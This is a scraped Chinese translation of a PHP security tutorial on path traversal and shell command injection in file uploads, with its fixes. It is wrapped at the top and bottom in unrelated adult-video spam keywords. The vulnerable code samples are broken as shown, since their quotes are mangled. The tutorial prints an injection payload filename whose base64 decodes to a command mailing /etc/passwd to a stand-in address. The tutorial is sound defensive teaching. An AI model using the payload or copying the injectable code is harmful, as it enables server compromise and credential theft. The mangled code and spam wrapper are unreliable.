日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区

您的位置:首頁技術文章
文章詳情頁

PHP 安全及相關

瀏覽:17日期:2024-01-08 17:03:59

關注安全問題的重要性看到的遠非全部

阻止用戶惡意破壞你的程式最有效卻經常被忽略的方法是在寫代碼時就考慮它的可能性。留意代碼中可能的安全問題是很重要的。考慮下邊的旨在簡化用PHP中寫入大量文本文件的過程的實例函數:

<?phpfunction write_text($filename, $text='') {static $open_files = array();// 如果文件名空,關閉全部文件if ($filename == NULL) {foreach($open_files as $fr) {fclose($fr);}return true;}$index = md5($filename);if(!isset($open_files[$index])) {$open_files[$index] = fopen($filename, 'a+');if(!$open_files[$index]) return false;}fputs($open_files[$index], $text);return true;}?>

這個函數帶有兩個缺省參數,文件名和要寫入文件的文本。函數將先檢查文件是否已被打開;如果是,將使用原來的文件句柄。否則,將自行創建。在這兩種情況中,文本都會被寫入文件。如果傳遞給函數的文件名是NULL,那么所有打開的文件將被關閉。下邊提供了一個使用上的實例。如果開發者以下邊的格式來寫入多個文本文件,那么這個函數將清楚和易讀的多。讓我們假定這個函數存在于一個單獨的文件中,這個文件包含了調用這個函數的代碼。下邊是一個這樣的程式,我們叫它quotes.php:

<html><body><form action='<?=$_SERVER['PHP_SELF']?>' method='get'>Choose the nature of the quote:<select name='quote' size='3'><option value='funny'>Humorous quotes</option><option value='political'>Political quotes</option><option value='love'>Romantic Quotes</option></select><br />The quote: <input type='text' name='quote_text' size='30' /> <input type='submit' value='Save Quote' /></form></body></html>

<?phpinclude_once('write_text.php');$filename = '/home/web/quotes/{$_GET['quote']}';$quote_msg = $_GET['quote_text'];if (write_text($filename, $quote_msg)) {echo '<center><hr><h2>Quote saved!</h2></center>';} else {echo '<center><hr><h2>Error writing quote</h2></center>';}write_text(NULL);?>

如同你看到的,這位開發者使用了write_text()函數來創建一個體系使得用戶可以提交他們喜歡的格言,這些格言將被存放在一個文本文件中。不幸的是,開發者可能沒有想到,這個程式也允許了惡意用戶危害web server的安全。也許現在你正撓著頭想著究竟這個看起來很無辜的程式怎樣引入了安全風險。如果你看不出來,考慮下邊這個URL,記住這個程式叫做quotes.php:

http://www.somewhere.com/fun/quotes.php?quote=different_file.dat&quote_text=garbage+data

當這個URL傳遞給web server 時將會發生什么?

顯然,quotes.php將被執行,但是,不是將一句格言寫入到我們希望的三個文件中之一,相反的,一個叫做different_file.dat的新文件將被建立,其中包含一個字符串garbage data。

顯然,這不是我們希望的行為,惡意用戶可能通過把quote指定為../../../etc/passwd來訪問UNIX密碼文件從而創建一個帳號(盡管這需要web server以superuser運行程式,如果是這樣的,你應該停止閱讀,馬上去修復它)。如果/home/web/quotes/可以通過瀏覽器訪問,可能這個程式最嚴重的安全問題是它允許任何用戶寫入和運行任意PHP程式。這將帶來無窮的麻煩。

這里有一些解決方案。如果你只需要寫入目錄下的一些文件,可以考慮使用一個相關的數組來存放文件名。如果用戶輸入的文件存在于這個數組中,就可以安全的寫入。另一個想法是去掉所有的不是數字和字母的字符來確保沒有目錄分割符號。還有一個辦法是檢查文件的擴展名來保證文件不會被web server執行。

原則很簡單,作為一個開發者你必須比程式在你希望的情況下運行時考慮更多。

如果非法數據進入到一個form元素中會發生什么?惡意用戶是否能使你的程式以不希望的方式運行?什么方法能阻止這些攻擊?你的web server和PHP程式只有在最弱的安全鏈接下才安全,所以確認這些可能不安全的鏈接是否安全很重要。

常見的涉及安全的錯誤這里給出一些要點,一個可能危及安全的編碼上的和管理上的失誤的簡要不完整列表

錯誤1。信賴數據這是貫穿于我關于PHP程式安全的討論的主題,你決不能相信一個來自外部的數據。不管它來自用戶提交表單,文件系統的文件或者環境變量,任何數據都不能簡單的想當然的采用。所以用戶輸入必須進行驗證并將之格式化以保證安全。

錯誤2。在web目錄中存儲敏感數據任何和所有的敏感數據都應該存放在獨立于需要使用數據的程式的文件中,并保存在一個不能通過瀏覽器訪問的目錄下。當需要使用敏感數據時,再通過include 或 require語句來包含到適當的PHP程式中。

錯誤3。不使用推薦的安全防范措施PHP手冊包含了在使用和編寫PHP程式時關于安全防范的完整章節。手冊也(幾乎)基于案例清楚的說明了什么時候存在潛在安全風險和怎么將風險降低到最低。又如,惡意用戶依靠開發者和管理員的失誤得到關心的安全信息以獲取系統的權限。留意這些警告并適當的采取措施來減小惡意用戶給你的系統帶來真正的破壞的可能性。 在PHP中執行系統調用在PHP中有很多方法可以執行系統調用。

比如,system(), exec(), passthru(), popen()和 反單引號(`)操作符都允許你在程式中執行系統調用。如果不適當的使用上邊這些函數將會為惡意用戶在你的服務器上執行系統命令打開大門。像在訪問文件時,絕大多數情況下,安全漏洞發生在由于不可靠的外部輸入導致的系統命令執行。

使用系統調用的一個例子程式考慮一個處理http文件上傳的程式,它使用zip程序來壓縮文件,然后把它移動到指定的目錄(默認為/usr/local/archives/)。代碼如下:<?php$zip = '/usr/bin/zip';$store_path = '/usr/local/archives/';

if (isset($_FILES['file'])) {$tmp_name = $_FILES['file']['tmp_name'];$cmp_name = dirname($_FILES['file']['tmp_name']) .'/{$_FILES['file']['name']}.zip';$filename = basename($cmp_name);

if (file_exists($tmp_name)) {$systemcall = '$zip $cmp_name $tmp_name';$output = `$systemcall`;

if (file_exists($cmp_name)) {$savepath = $store_path.$filename;rename($cmp_name, $savepath);}}}?>

<form enctype='multipart/form-data' action='<?php echo $_SERVER['PHP_SELF'];?>' method='POST'><input type='HIDDEN' name='MAX_FILE_SIZE' value='1048576'>File to compress: <input name='file' type='file'><br /><input type='submit' value='Compress File'>

</form>

雖然這段程式看起來相當簡單易懂,但是惡意用戶卻可以通過一些方法來利用它。最嚴重的安全問題存在于我們執行了壓縮命令(通過`操作符),在下邊的行中可以清楚的看到這點:

if (isset($_FILES['file'])) {$tmp_name = $_FILES['file']['tmp_name'];$cmp_name = dirname($_FILES['file']['tmp_name']) .'/{$_FILES['file']['name']}.zip';

$filename = basename($cmp_name);

if (file_exists($tmp_name)) {$systemcall = '$zip $cmp_name $tmp_name';$output = `$systemcall`;...欺騙程式執行任意shell命令雖然這段代碼看起來相當安全,它卻有使任何有文件上傳權限的用戶執行任意shell命令的潛在危險!

準確的說,這個安全漏洞來自對$cmp_name變量的賦值。在這里,我們希望壓縮后的文件使用從客戶機上傳時的文件名(帶有 .zip擴展名)。我們用到了$_FILES['file']['name'](它包含了上傳文件在客戶機時的文件名)。

在這樣的情況下,惡意用戶完全可以通過上傳一個含對底層操作系統有特殊意義字符的文件來達到自己的目的。舉個例子,如果用戶按照下邊的形式創建一個空文件會怎么樣?(UNIX shell提示符下)[user@localhost]# touch ';php -r '$code=base64_decode('bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==');system($code);';'這個命令將創建一個名字如下的文件:

php -r '$code=base64_decode('bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==');system($code);';看起來很奇怪?讓我們來看看這個“文件名”,我們發現它很像使CLI版本的PHP執行如下代碼的命令:

<?php$code=base64_decode('bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==');system($code);?>

如果你出于好奇而顯示$code變量的內容,就會發現它包含了mailbaduser@somewhere.com< /etc/passwd。如果用戶把這個文件傳給程式,接著PHP執行系統調用來壓縮文件,PHP實際上將執行如下語句:

/usr/bin/zip /tmp/;php -r'$code=base64_decode('bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==');system($code);';.zip /tmp/phpY4iatI讓人吃驚的,上邊的命令不是一個語句而是3個!由于UNIX shell 把分號(;)解釋為一個shell命令的結束和另一命令的開始,除了分號在在引號中時,PHP的system()實際上將如下執行:

[user@localhost]# /usr/bin/zip /tmp/[user@localhost]# php -r'$code=base64_decode('bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==');system($code);'[user@localhost]# .zip /tmp/phpY4iatI如你所見,這個看起來無害的PHP程式突然變成執行任意shell命令和其他PHP程式的后門。雖然這個例子只會在路徑下有CLI版本的PHP的系統上有效,但是用這種技術可以通過其他的方法來達到同樣的效果。

對抗系統調用攻擊

這里的關鍵仍然是,來自用戶的輸入,不管內容如何,都不應該相信!問題仍然是如何在使用系統調用時(除了根本不使用它們)避免類似的情況出現。為了對抗這種類型的攻擊,PHP提供了兩個函數,escapeshellarg() 和 escapeshellcmd()。

escapeshellarg()函數是為了從用作系統命令的參數的用戶輸入(在我們的例子中,是zip命令)中移出含有潛在危險的字符而設計的。這個函數的語法如下:

escapeshellarg($string)$string所在處是用于過濾的輸入,返回值是過濾后的字符。執行時,這個函數將在字符兩邊添加單引號,并轉義原來字符串中的單引號(在其前邊加上)。在我們的例程中,如果我們在執行系統命令之前加上這些行:

$cmp_name = escapeshellarg($cmp_name);$tmp_name = escapeshellarg($tmp_name);我們就能通過確保傳遞給系統調用的參數已經處理,是一個沒有其他意圖的用戶輸入,以規避這樣的安全風險。

escapeshellcmd()和escapeshellarg()類似,只是它只轉義對底層操作系統有特殊意義的字符。和escapeshellarg()不同,escapeshellcmd()不會處理內容中的空白格。舉個實例,當使用escapeshellcmd()轉義時,字符$string = ''hello, world!';evilcommand'將變為:

'hello, world';evilcommand如果這個字符串用作系統調用的參數它將仍然不能得到正確的結果,因為shell將會把它分別解釋為兩個分離的參數: 'hello 和 world';evilcommand。如果用戶輸入用于系統調用的參數列表部分,escapeshellarg()是一個更好的選擇。保護上傳的文件在整篇文章中,我一直只著重講系統調用如何被惡意用戶劫持以產生我們不希望結果。但是,這里還有另外一個潛在的安全風險值得提到。再看到我們的例程,把你的注意力集中在下邊的行上:

$tmp_name = $_FILES['file']['tmp_name'];$cmp_name = dirname($_FILES['file']['tmp_name']) .'/{$_FILES['file']['name']}.zip';

$filename = basename($cmp_name);if (file_exists($tmp_name)) {上邊片斷中的代碼行導致的一個潛在安全風險是,最后一行我們判斷上傳的文件是否實際存在(以臨時文件名$tmp_name存在)。

這個安全風險并不來自于PHP自身,而在于保存在$tmp_name中的文件名實際上根本不是一個文件,而是指向惡意用戶希望訪問的文件,比如,/etc/passwd。為了防止這樣的情況發生,PHP提供了is_uploaded_file()函數,它和file_exists()一樣,但是它還提供文件是否真的從客戶機上上傳的檢查。

在絕大多數情況下,你將需要移動上傳的文件,PHP提供了move_uploaded_file()函數,來配合is_uploaded_file()。這個函數和rename()一樣用于移動文件,只是它會在執行前自動檢查以確保被移動的文件是上傳的文件。move_uploaded_file()的語法如下:

move_uploaded_file($filename, $destination);在執行時,函數將移動上傳文件$filename到目的地$destination并返回一個布爾值來標志操作是否成功。

注: John Coggeshall 是一位PHP顧問和作者。從他開始為PHP不眠已經5年左右了。 英文原文:http://www.onlamp.com/pub/a/php/2003/08/28/php_foundations.html

標簽: PHP
日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区
久久99视频| 欧美午夜不卡影院在线观看完整版免费| 欧美va亚洲va日韩∨a综合色| 国产一区成人| 黄色精品视频| 国产一区欧美| 日韩av电影一区| 欧洲亚洲一区二区三区| 欧美特黄视频| 亚洲精品九九| 国产亚洲一区二区手机在线观看 | 婷婷成人在线| 石原莉奈在线亚洲二区| 高清日韩欧美| 欧美中文字幕一区二区| 蜜桃视频一区二区三区在线观看| 老司机久久99久久精品播放免费| 中文字幕在线视频网站| 精品三级久久| 老牛影视一区二区三区| 麻豆高清免费国产一区| 日韩在线观看中文字幕| 久久久精品午夜少妇| 国产毛片精品| 亚洲精品伊人| 精品网站999| 国产亚洲欧美日韩精品一区二区三区 | 久久99精品久久久野外观看| 日韩中文影院| 日韩一二三区在线观看| 成人片免费看| 麻豆91精品91久久久的内涵| 在线日韩电影| 国产三级一区| 午夜精品亚洲| 国产精品丝袜在线播放| 91精品二区| 牛牛精品成人免费视频| 狠狠色综合网| 国产一区二区三区探花| 蜜臀a∨国产成人精品| 色乱码一区二区三区网站| 欧美亚洲国产日韩| 亚洲a在线视频| 国产精品中文| 好吊日精品视频| 在线手机中文字幕| 国产精品一区二区三区四区在线观看| 亚洲激情二区| 麻豆成全视频免费观看在线看| 亚洲一二av| 免费国产亚洲视频| 免费在线日韩av| 国产精品人人爽人人做我的可爱 | 美女尤物国产一区| 亚洲青青久久| 亚洲视频综合| 日产精品一区二区| 国产美女亚洲精品7777| 三级欧美韩日大片在线看| 日韩亚洲一区在线| 在线亚洲观看| 国产乱码精品一区二区三区亚洲人| 99久久99久久精品国产片果冰 | 久久精选视频| 国产一区二区三区亚洲| 日本午夜精品久久久久| 九色精品91| 人在线成免费视频| 黄色精品视频| 欧美国产不卡| 国产日韩亚洲欧美精品| 亚州精品视频| 香蕉视频成人在线观看| 欧美成人日韩| 激情久久中文字幕| 精品国产美女a久久9999| 欧美在线观看天堂一区二区三区| 国产精品7m凸凹视频分类| 欧美羞羞视频| 中文在线中文资源| 成人亚洲一区二区| 久久精品女人| 日本va欧美va精品发布| 亚洲香蕉久久| 亚洲精品一二| 中文字幕人成乱码在线观看| 久久国产三级| 国产亚洲在线观看| 成人免费网站www网站高清| 日韩欧美自拍| 国产一区二区三区四区二区| 日本免费新一区视频| 亚洲人成高清| 免费成人在线观看| 99国产成+人+综合+亚洲欧美| 99久久亚洲精品蜜臀| 在线看片国产福利你懂的| 9999国产精品| 国产精品亚洲一区二区三区在线观看| 精品美女在线视频| 成人精品国产亚洲| 中国字幕a在线看韩国电影| 亚洲一级少妇| 日韩精品一卡| 午夜精品婷婷| 中文字幕视频精品一区二区三区| 久久高清一区| 免费观看在线综合| 日韩高清在线不卡| 欧美亚洲人成在线| 国产美女视频一区二区| 久久99蜜桃| 97精品国产| 欧美午夜精彩| 亚洲综合日本| 91成人在线网站| 麻豆高清免费国产一区| 天堂а√在线最新版中文在线| 久久在线免费| 欧美精品一二| 欧美日韩四区| 免费观看久久av| 国产一级久久| 日韩av不卡一区二区| 日韩精品免费视频一区二区三区 | 国产一区二区三区探花| 天堂8中文在线最新版在线| 久久精品免费一区二区三区| 一区在线免费| 亚洲三级网站| 国产情侣一区在线| 成人在线免费观看91| 亚洲高清av| 鲁大师影院一区二区三区| 亚洲精品福利| 国语精品一区| 影音国产精品| 国产日韩亚洲欧美精品| 日韩成人精品一区二区| 欧美午夜不卡影院在线观看完整版免费| 亚洲色图国产| 国产成人精品一区二区三区在线| 亚洲五月婷婷| 美国三级日本三级久久99| 青草国产精品久久久久久| 国产一区二区三区四区五区传媒| 欧洲激情综合| 欧美三区不卡| 欧美aa在线观看| 欧美中文日韩| 精品视频国产| 亚洲自拍另类| 99久久激情| 在线精品视频一区| 国产精品久久久久久模特 | 午夜亚洲一区| 日本aⅴ亚洲精品中文乱码| 韩国精品主播一区二区在线观看 | 欧美天堂一区二区| 日韩精品久久久久久久电影99爱| 天堂成人免费av电影一区| 欧美激情五月| 视频一区二区中文字幕| 精品视频一区二区三区四区五区| 蜜臀av免费一区二区三区| 国产精品高清一区二区| 91精品国产自产在线观看永久∴| 美国av一区二区| 国产精品13p| 亚洲一区欧美二区| 一区二区三区四区日本视频| 日本va欧美va精品| 亚洲欧美一区在线| 免费在线播放第一区高清av| 在线亚洲成人| 综合日韩av| 国产亚洲欧美日韩在线观看一区二区| 欧美成人精品| 色一区二区三区四区| 日本视频一区二区| 激情久久中文字幕| 精品色999| 日韩精品一区二区三区av | 日韩国产在线观看| 91成人网在线观看| 岛国精品一区| 欧美日本一区| 亚洲欧美日韩精品一区二区| 特黄毛片在线观看| 免费在线亚洲欧美| 91嫩草精品| 黄色日韩在线| 日韩精品欧美| 久久久久久一区二区| 国产精品欧美日韩一区| 男人操女人的视频在线观看欧美| 国产精品久久久久久久久久妞妞| 亚洲少妇自拍| 国产一区亚洲|